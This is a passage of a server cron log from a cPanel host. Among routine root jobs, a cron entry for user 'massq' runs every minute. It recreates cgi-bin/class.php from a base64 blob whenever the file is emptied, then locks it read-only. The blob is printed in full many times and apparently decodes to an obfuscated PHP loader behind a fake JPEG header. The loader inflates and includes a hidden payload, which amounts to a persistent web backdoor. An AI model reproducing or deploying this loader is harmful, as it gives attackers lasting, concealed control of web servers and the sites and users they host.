"$fp"; fi; chmod 444 "$fp")
Sep 10 17:21:01 server CROND[21665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:22:01 server CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:22:01 server CROND[22081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:22:01 server CROND[22082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:23:01 server CROND[22463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:23:01 server CROND[22464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:23:01 server CROND[22466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:24:01 server CROND[23090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:24:01 server CROND[23091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:24:01 server CROND[23092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:25:01 server CROND[23468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:25:01 server CROND[23471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:25:01 server CROND[23470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:25:01 server CROND[23472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:25:01 server CROND[23476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:25:01 server CROND[23473]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:25:01 server CROND[23475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:26:01 server CROND[24286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:26:01 server CROND[24287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:26:01 server CROND[24288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:27:01 server CROND[24660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:27:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:27:01 server CROND[24662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:27:01 server CROND[24663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:28:01 server CROND[25049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:28:01 server CROND[25050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:28:01 server CROND[25051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:29:01 server CROND[25513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:29:01 server CROND[25514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:29:01 server CROND[25515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:30:01 server CROND[25900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:30:01 server CROND[25901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:30:01 server CROND[25904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:30:01 server CROND[25903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:30:01 server CROND[25906]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:30:01 server CROND[25908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:30:01 server CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:30:01 server CROND[25910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:31:01 server CROND[26731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:31:01 server CROND[26732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:31:01 server CROND[26733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:32:01 server CROND[27109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:32:01 server CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:32:01 server CROND[27111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:33:01 server CROND[27792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:33:01 server CROND[27793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:33:01 server CROND[27794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:34:01 server CROND[28505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
